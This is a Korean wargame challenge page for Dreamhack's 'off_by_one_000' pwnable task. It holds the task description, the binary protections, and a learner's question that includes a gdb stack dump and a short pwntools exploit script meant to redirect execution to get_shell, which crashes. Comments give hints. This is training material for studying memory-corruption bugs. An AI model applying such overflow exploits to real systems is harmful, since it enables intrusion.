LEVEL 2

off_by_one_000

pwnable
  • 문제 정보
  • 풀이 90
  • 난이도 투표 87
  • 질문 11
  • 최근 풀이자 1103
  • 댓글 71

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(off_by_one_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, "flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Off-by-one

난이도 투표 87

질문 11

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
payload offset 관련 질문
따라서 0x80486b0 <main+64>: mov eax,0x0 0x80486b5 <main+69>: leave => 0x80486b6 <main+70>: ret 0x80486b7: xchg ax,ax 0x80486b9: xchg ax,ax 0x80486bb: xchg ax,ax 0x80486bd: xchg ax,ax [------------------------------------stack-------------------------------------] 0000| 0xffffd204 --> 0x80485db (<get_shell>: push ebp) 0004| 0xffffd208 ('a' <repeats 164 times>) 0008| 0xffffd20c ('a' <repeats 160 times>) 0012| 0xffffd210 ('a' <repeats 156 times>) 0016| 0xffffd214 ('a' <repeats 152 times>) 0020| 0xffffd218 ('a' <repeats 148 times>) 0024| 0xffffd21c ('a' <repeats 144 times>) 0028| 0xffffd220 ('a' <repeats 140 times>) 이렇게 main이 종료되자 이 점에서 착안하여 from pwn import* payload = '' payload += 'a'*20 p=process('./off_by_one_000') e =ELF('./off_by_one_000') get_shell_addr = e.symbols['get_shell'] payload += p32(get_shell_addr) payload += 'a'*0x100 p.sendline(payload) p.interactive() 와 같은 공격코드를사용했으나 Switching to interactive mode Name: Name: aaaaaaaaaaaaaaaaۅ\x04aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[*] Got EOF while reading in interactive $ id [*] Process './off_by_one_000' stopped with exit code -11 (SIGSEGV) (pid 550) 와 같이 셸이 실행되지 않고 종료됩니다. 디버거로 분석한 것과 offset 차이가 있는건가요?
avatar 마리마리
LEVEL 2

off_by_one_000

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
realsung
Open Beta Top 10
출제된 지 20시간 만에 풀이 완료!

최근 풀이자 1103

sangwon090
강의 수강: 10
dvnwaji
시스템 해킹 중급자
avatar
onLeaf
대표 업적 없음
김갱덕
시스템 해킹 중급자
avatar
syn9
대표 업적 없음
avatar
poppo25
휴머노이드
avatar
hsnyus
Cloud 9
serendipia
대표 업적 없음
t0uch3
대표 업적 없음
didieidu
대표 업적 없음

댓글 71

SFP란 개념을 공부하시면 됩니다
avatar
Rootsquare
바탈리온
함수의 반환 주소만 덮이지 않으면 안전할까요?
avatar
mini-chip
Perfect 10
SFP가 바뀌면 무슨 일이 일어날까???
avatar
LM_R3dzone
워게임 고인물
Do you know FPO~?
avatar
나는재영
대표 업적 없음
악... 32bit
xpsa
대표 업적 없음
공격 이론은 어렵지만 익스가 쉬운 문제
avatar
__Ph4nt0m_Byt3
워게임: 20
잠시 pwnable 은 접어두고 오겠씁니다..
avatar
msh1307
대표 업적 없음
:)
anous
대표 업적 없음
good
avatar
user99
워게임: 20
재밌네요!